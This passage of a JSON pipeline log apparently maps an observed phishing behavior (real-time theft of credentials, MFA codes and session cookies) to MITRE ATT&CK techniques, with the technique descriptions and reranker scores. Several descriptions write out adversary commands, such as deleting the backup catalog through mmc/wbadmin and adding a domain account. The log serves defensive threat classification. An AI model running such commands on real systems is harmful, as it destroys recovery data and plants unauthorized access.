T1608.002 Upload Tool\nDescription: Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable Ingress Tool Transfer by placing it on an Internet accessible web server. Tools may be placed on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications. Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1608.003", + "text": "ATT&CK technique: T1608.003 Install Digital Certificate\nDescription: Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it. Adversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers. Adversaries can obtain digital certificates (see Digital Certificates) or create self-signed certificates (see Digital Certificates). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure).\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1665", + "text": "ATT&CK technique: T1665 Hide Infrastructure\nDescription: Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished by identifying and filtering traffic from defensive tools, masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers, and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely. C2 networks may include the use of Proxy or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address. Adversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents. Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., Virtualization/Sandbox Evasion). Hiding C2 infrastructure may also be supported by Resource Development activities such as Acquire Infrastructure and Compromise Infrastructure. For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1659", + "text": "ATT&CK technique: T1659 Content Injection\nDescription: Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., Drive-by Target followed by Drive-by Compromise), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., Ingress Tool Transfer) and other data to already compromised systems. Adversaries may inject content to victim systems in various ways, including: * From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from Adversary-in-the-Middle, which describes AiTM activity solely within an enterprise environment) * From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"\nTactics: command and control, initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1584.006", + "text": "ATT&CK technique: T1584.006 Web Services\nDescription: Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1218.014", + "text": "ATT&CK technique: T1218.014 MMC\nDescription: Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt. MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration. For example, mmc C:\\Users\\foo\\admintools.msc /a will open a custom, saved console msc file in author mode. Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window. Adversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. Inhibit System Recovery) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems). Adversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a Component Object Model class object. Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey. Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\\path\\to\\test.msc.\nTactics: stealth\nPlatforms: Windows" + }, + { + "id": "T1584", + "text": "ATT&CK technique: T1584 Compromise Infrastructure\nDescription: Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle. Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. Use of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with Digital Certificates) to further blend in and support staged information gathering and/or Phishing campaigns. Adversaries may also compromise numerous machines to support Proxy and/or proxyware services or to form a botnet. Additionally, adversaries may compromise infrastructure residing in close proximity to a target in order to gain Initial Access via Wi-Fi Networks. By using compromised infrastructure, adversaries may enable follow-on malicious operations. Prior to targeting, adversaries may also compromise the infrastructure of other adversaries.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1583.006", + "text": "ATT&CK technique: T1583.006 Web Services\nDescription: Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google, GitHub, or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1136.002", + "text": "ATT&CK technique: T1136.002 Domain Account\nDescription: Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain command can be used to create a domain account. Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\nTactics: persistence\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1176.001", + "text": "ATT&CK technique: T1176.001 Browser Extensions\nDescription: Adversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted. Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores, so it may not be difficult for malicious extensions to defeat automated scanners. Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary-controlled server or manipulate the mobile configuration file to silently install additional extensions. Adversaries may abuse how chromium-based browsers load extensions by modifying or replacing the Preferences and/or Secure Preferences files to silently install malicious extensions. When the browser is not running, adversaries can alter these files, ensuring the extension is loaded, granted desired permissions, and will persist in browser sessions. This method does not require user consent and extensions are silently loaded in the background from disk or from the browser's trusted store. Previous to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles; however, .mobileconfig files can be planted and installed with user interaction. Once the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence. There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for Command and Control. Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for Stealth.\nTactics: persistence\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1584.004", + "text": "ATT&CK technique: T1584.004 Server\nDescription: Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a Server or Virtual Private Server, adversaries may compromise third-party servers in support of operations. Adversaries may also compromise web servers to support watering hole operations, as in Drive-by Compromise, or email servers to support Phishing operations.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1583.008", + "text": "ATT&CK technique: T1583.008 Malvertising\nDescription: Adversaries may purchase online advertisements that can be abused to distribute malware to victims. Ads can be purchased to plant as well as favorably position artifacts in specific locations online, such as prominently placed within search engine results. These ads may make it more difficult for users to distinguish between actual search results and advertisements. Purchased ads may also target specific audiences using the advertising network’s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites. Adversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims. Purchased ads may attempt to impersonate or spoof well-known brands. For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software. Adversary’s efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts. Malvertising may be used to support Drive-by Target and Drive-by Compromise, potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser. Adversaries may also employ several techniques to evade detection by the advertising network. For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages. This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement. Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1592", + "text": "ATT&CK technique: T1592 Gather Victim Host Information\nDescription: Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services). Adversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary’s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1568.002", + "text": "ATT&CK technique: T1568.002 Domain Generation Algorithms\nDescription: Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions. DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders. Adversaries may use DGAs for the purpose of Fallback Channels. When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1685", + "text": "ATT&CK technique: T1685 Disable or Modify Tools\nDescription: Adversaries may disable, degrade, or tamper with security tools or applications (e.g., endpoint detection and response (EDR) tools, intrusion detection systems (IDS), antivirus, logging agents, sensors, etc.) to impair or reduce visibility of defensive capabilities. This may include stopping specific services, killing processes, modifying or deleting tool configuration files and Registry keys, or preventing tools from updating. This may also include impairing defenses more broadly by disrupting preventative, detection, and response mechanisms across host, network, and cloud environments. In addition to directly targeting tools, adversaries may block or manipulate indicators and telemetry used for detection. This includes maliciously disabling or redirecting sensors such as Event Tracing for Windows (ETW), modifying event log configurations (e.g., redirecting Security logs), or interfering with logging pipelines and forwarding mechanisms (e.g., SIEM ingestion). More advanced techniques include leveraging legitimate drivers or debugging mechanisms to render tools non-functional, bypassing anti-tampering protections, and targeting specific defenses such as Sysmon or cloud monitoring agents. Adversaries may also disrupt broader defensive operations, including update mechanisms, logging infrastructure (e.g., syslog), or event aggregation, further degrading an organization’s ability to detect and respond to malicious activity.\nTactics: defense impairment\nPlatforms: Containers, ESXi, IaaS, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1072", + "text": "ATT&CK technique: T1072 Software Deployment Tools\nDescription: Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager. Access to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints. SaaS-based configuration management services may allow for broad Cloud Administration Command on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Entra ID. Such services may also utilize Web Protocols to communicate back to adversary owned infrastructure. Network infrastructure devices may also have configuration management tools that can be similarly abused by adversaries. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to access specific functionality.\nTactics: execution, lateral movement\nPlatforms: Linux, Network Devices, SaaS, Windows, macOS" + }, + { + "id": "T1683.001", + "text": "ATT&CK technique: T1683.001 Written Content\nDescription: Adversaries may create or tailor written materials to support targeting and malicious operations. Content may include phishing lures, fraudulent financial communications, fabricated job postings, fabricated employment credentials and documentation, decoy documents, social media persona content, and supporting narratives used to sustain fabricated personas over time. Content may be authored manually, commissioned through third parties, or produced using AI-assisted tools. Written materials may impersonate legitimate government correspondence, diplomatic communications, or internal organizational documents to support targeting efforts. AI-assisted tools may also be used to tailor content to specific targets, industries, or regions. For example, adversaries may leverage AI to translate content into a target's native language or mimic the communication style of trusted senders. Written content produced through these methods may be used in support of other techniques, such as Phishing, Spearphishing via Service, Phishing for Information, Internal Spearphishing, Social Engineering, Financial Theft, or Establish Accounts. Written content does not include malicious code or scripts; for development of malicious code and scripts, see Develop Capabilities.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1596.005", + "text": "ATT&CK technique: T1596.005 Scan Databases\nDescription: Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners. Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Exploit Public-Facing Application).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1078.002", + "text": "ATT&CK technique: T1078.002 Domain Accounts\nDescription: Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services. Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as OS Credential Dumping or password reuse, allowing access to privileged resources of the domain.\nTactics: initial access, persistence, privilege escalation, stealth\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1568", + "text": "ATT&CK technique: T1568 Dynamic Resolution\nDescription: Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control. Adversaries may use dynamic resolution for the purpose of Fallback Channels. When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1585.002", + "text": "ATT&CK technique: T1585.002 Email Accounts\nDescription: Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct Phishing for Information or Phishing. Establishing email accounts may also allow adversaries to abuse free services – such as trial periods – to Acquire Infrastructure for follow-on purposes. Adversaries may also take steps to cultivate a persona around the email account, such as through use of Social Media Accounts, to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: Domains). To decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1585", + "text": "ATT&CK technique: T1585 Establish Accounts\nDescription: Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity. For operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for Phishing for Information or Phishing. In addition, establishing accounts may allow adversaries to abuse free services, such as registering for trial periods to Acquire Infrastructure for malicious purposes.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1584.008", + "text": "ATT&CK technique: T1584.008 Network Devices\nDescription: Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not Initial Access to that environment, but rather to leverage these devices to support additional targeting. Once an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for Phishing campaigns (i.e., Link Target) or enabling the required access to execute Content Injection operations. Adversaries may also be able to harvest reusable credentials (i.e., Valid Accounts) from compromised network devices. Adversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses. Compromised network devices may be used to support subsequent Command and Control activity, such as Hide Infrastructure through an established Proxy and/or Botnet network.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1485.001", + "text": "ATT&CK technique: T1485.001 Lifecycle-Triggered Deletion\nDescription: Adversaries may modify the lifecycle policies of a cloud storage bucket to destroy all objects stored within. Cloud storage buckets often allow users to set lifecycle policies to automate the migration, archival, or deletion of objects after a set period of time. If a threat actor has sufficient permissions to modify these policies, they may be able to delete all objects at once. For example, in AWS environments, an adversary with the `PutLifecycleConfiguration` permission may use the `PutBucketLifecycle` API call to apply a lifecycle policy to an S3 bucket that deletes all objects in the bucket after one day. In addition to destroying data for purposes of extortion and Financial Theft, adversaries may also perform this action on buckets storing cloud logs for Indicator Removal.\nTactics: impact\nPlatforms: IaaS" + }, + { + "id": "T1195.001", + "text": "ATT&CK technique: T1195.001 Compromise Software Dependencies and Development Tools\nDescription: Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications, such as pip and NPM packages, may be targeted as a means to add malicious code to users of the dependency. This may also include abandoned packages, which in some cases could be re-registered by threat actors after being removed by adversaries. Adversaries may also employ \"typosquatting\" or name-confusion by choosing names similar to existing popular libraries or packages in order to deceive a user. Additionally, CI/CD pipeline components, such as GitHub Actions, may be targeted in order to gain access to the building, testing, and deployment cycles of an application. By adding malicious code into a GitHub action, a threat actor may be able to collect runtime credentials (e.g., via Proc Filesystem) or insert further malicious components into the build pipelines for a second-order supply chain compromise. As GitHub Actions are often dependent on other GitHub Actions, threat actors may be able to infect a large number of repositories via the compromise of a single Action. Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.\nTactics: initial access\nPlatforms: Linux, Windows, macOS" + } + ], + "instruction": "Determine whether the ATT&CK technique directly describes the observed adversary behavior." + }, + "raw_response": { + "model": "Qwen/Qwen3-Reranker-4B", + "scores": [ + { + "item_id": "T1584.001", + "score": 0.81640625, + "rank": 0 + }, + { + "item_id": "T1598.003", + "score": 0.75390625, + "rank": 1 + }, + { + "item_id": "T1583.001", + "score": 0.40625, + "rank": 2 + }, + { + "item_id": "T1557.004", + "score": 0.29296875, + "rank": 3 + }, + { + "item_id": "T1583.007", + "score": 0.2109375, + "rank": 4 + }, + { + "item_id": "T1484", + "score": 0.11962890625, + "rank": 5 + }, + { + "item_id": "T1608.005", + "score": 0.09619140625, + "rank": 6 + }, + { + "item_id": "T1036", + "score": 0.06787109375, + "rank": 7 + }, + { + "item_id": "T1583", + "score": 0.06787109375, + "rank": 8 + }, + { + "item_id": "T1583.004", + "score": 0.06787109375, + "rank": 9 + }, + { + "item_id": "T1584.007", + "score": 0.056396484375, + "rank": 10 + }, + { + "item_id": "T1665", + "score": 0.0419921875, + "rank": 11 + }, + { + "item_id": "T1566", + "score": 0.03759765625, + "rank": 12 + }, + { + "item_id": "T1596.004", + "score": 0.03759765625, + "rank": 13 + }, + { + "item_id": "T1659", + "score": 0.035400390625, + "rank": 14 + }, + { + "item_id": "T1071", + "score": 0.0311279296875, + "rank": 15 + }, + { + "item_id": "T1583.002", + "score": 0.023193359375, + "rank": 16 + }, + { + "item_id": "T1584.002", + "score": 0.0191650390625, + "rank": 17 + }, + { + "item_id": "T1608.004", + "score": 0.015625, + "rank": 18 + }, + { + "item_id": "T1102.001", + "score": 0.01043701171875, + "rank": 19 + }, + { + "item_id": "T1059", + "score": 0.00921630859375, + "rank": 20 + }, + { + "item_id": "T1584", + "score": 0.00921630859375, + "rank": 21 + }, + { + "item_id": "T1190", + "score": 0.0086669921875, + "rank": 22 + }, + { + "item_id": "T1583.006", + "score": 0.0086669921875, + "rank": 23 + }, + { + "item_id": "T1585", + "score": 0.0086669921875, + "rank": 24 + }, + { + "item_id": "T1137.004", + "score": 0.00811767578125, + "rank": 25 + }, + { + "item_id": "T1204", + "score": 0.00762939453125, + "rank": 26 + }, + { + "item_id": "T1584.006", + "score": 0.007171630859375, + "rank": 27 + }, + { + "item_id": "T1608", + "score": 0.006744384765625, + "rank": 28 + }, + { + "item_id": "T1683.001", + "score": 0.005950927734375, + "rank": 29 + }, + { + "item_id": "T1557", + "score": 0.005584716796875, + "rank": 30 + }, + { + "item_id": "T1090.004", + "score": 0.005584716796875, + "rank": 31 + }, + { + "item_id": "T1590.001", + "score": 0.005584716796875, + "rank": 32 + }, + { + "item_id": "T1584.004", + "score": 0.005584716796875, + "rank": 33 + }, + { + "item_id": "T1585.002", + "score": 0.00408935546875, + "rank": 34 + }, + { + "item_id": "T1608.002", + "score": 0.00360107421875, + "rank": 35 + }, + { + "item_id": "T1583.008", + "score": 0.00360107421875, + "rank": 36 + }, + { + "item_id": "T1568.002", + "score": 0.00360107421875, + "rank": 37 + }, + { + "item_id": "T1568", + "score": 0.00360107421875, + "rank": 38 + }, + { + "item_id": "T1072", + "score": 0.0031890869140625, + "rank": 39 + }, + { + "item_id": "T1596.001", + "score": 0.00299072265625, + "rank": 40 + }, + { + "item_id": "T1176.001", + "score": 0.0028076171875, + "rank": 41 + }, + { + "item_id": "T1189", + "score": 0.002471923828125, + "rank": 42 + }, + { + "item_id": "T1590.002", + "score": 0.002471923828125, + "rank": 43 + }, + { + "item_id": "T1056.003", + "score": 0.0023345947265625, + "rank": 44 + }, + { + "item_id": "T1195.001", + "score": 0.0020599365234375, + "rank": 45 + }, + { + "item_id": "T1078.002", + "score": 0.00170135498046875, + "rank": 46 + }, + { + "item_id": "T1592", + "score": 0.00164794921875, + "rank": 47 + }, + { + "item_id": "T1056", + "score": 0.00141143798828125, + "rank": 48 + }, + { + "item_id": "T1001.003", + "score": 0.00141143798828125, + "rank": 49 + }, + { + "item_id": "T1685", + "score": 0.00141143798828125, + "rank": 50 + }, + { + "item_id": "T1592.004", + "score": 0.00136566162109375, + "rank": 51 + }, + { + "item_id": "T1195", + "score": 0.00128936767578125, + "rank": 52 + }, + { + "item_id": "T1674", + "score": 0.00116729736328125, + "rank": 53 + }, + { + "item_id": "T1136.002", + "score": 0.00113677978515625, + "rank": 54 + }, + { + "item_id": "T1571", + "score": 0.001068115234375, + "rank": 55 + }, + { + "item_id": "T1589", + "score": 0.00099945068359375, + "rank": 56 + }, + { + "item_id": "T1484.002", + "score": 0.00099945068359375, + "rank": 57 + }, + { + "item_id": "T1596.002", + "score": 0.00096893310546875, + "rank": 58 + }, + { + "item_id": "T1584.008", + "score": 0.00096893310546875, + "rank": 59 + }, + { + "item_id": "T1105", + "score": 0.00083160400390625, + "rank": 60 + }, + { + "item_id": "T1608.003", + "score": 0.000804901123046875, + "rank": 61 + }, + { + "item_id": "T1036.010", + "score": 0.00048828125, + "rank": 62 + }, + { + "item_id": "T1207", + "score": 0.0004730224609375, + "rank": 63 + }, + { + "item_id": "T1218.014", + "score": 0.000457763671875, + "rank": 64 + }, + { + "item_id": "T1204.005", + "score": 0.0003795623779296875, + "rank": 65 + }, + { + "item_id": "T1586", + "score": 0.0003147125244140625, + "rank": 66 + }, + { + "item_id": "T1596.005", + "score": 0.0002956390380859375, + "rank": 67 + }, + { + "item_id": "T1140", + "score": 0.000278472900390625, + "rank": 68 + }, + { + "item_id": "T1614", + "score": 0.000278472900390625, + "rank": 69 + }, + { + "item_id": "T1485.001", + "score": 0.000278472900390625, + "rank": 70 + }, + { + "item_id": "T1132", + "score": 0.0002613067626953125, + "rank": 71 + }, + { + "item_id": "T1681", + "score": 0.0002613067626953125, + "rank": 72 + }, + { + "item_id": "T1677", + "score": 0.00021648406982421875, + "rank": 73 + }, + { + "item_id": "T1573", + "score": 0.000179290771484375, + "rank": 74 + } + ], + "query_id": "behavior", + "usage": { + "input_tokens": 26710 + } + }, + "evidence_sha256": "0c5b0f8747355a1136c11549e7da98f6ed08cb09bb87dc0a4b16a35e3e547956" + }, + { + "stage": "rerank", + "function": "score", + "requested_model": "Qwen/Qwen3-Reranker-4B", + "runtime_model": "Qwen/Qwen3-Reranker-4B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 904.6, + "request_payload": { + "query": { + "id": "behavior", + "text": "Observed adversary behavior: After they log in, the credentials, including MFA codes, and session cookie are sent to the server in real-time" + }, + "items": [ + { + "id": "T1539", + "text": "ATT&CK technique: T1539 Steal Web Session Cookie\nDescription: An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols. There are several examples of malware targeting cookies from web browsers on the local system. Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser. There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns. After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.\nTactics: credential access\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: It can steal credentials such as passwords, website cookies, credit card data, system information, and bitcoin wallet contents." + }, + { + "id": "T1606", + "text": "ATT&CK technique: T1606 Forge Web Credentials\nDescription: Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access. Adversaries may generate these credential materials in order to gain access to web resources. This differs from Steal Web Session Cookie, Steal Application Access Token, and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, Private Keys, or other cryptographic seed values. Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., Temporary Elevated Cloud Access), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the 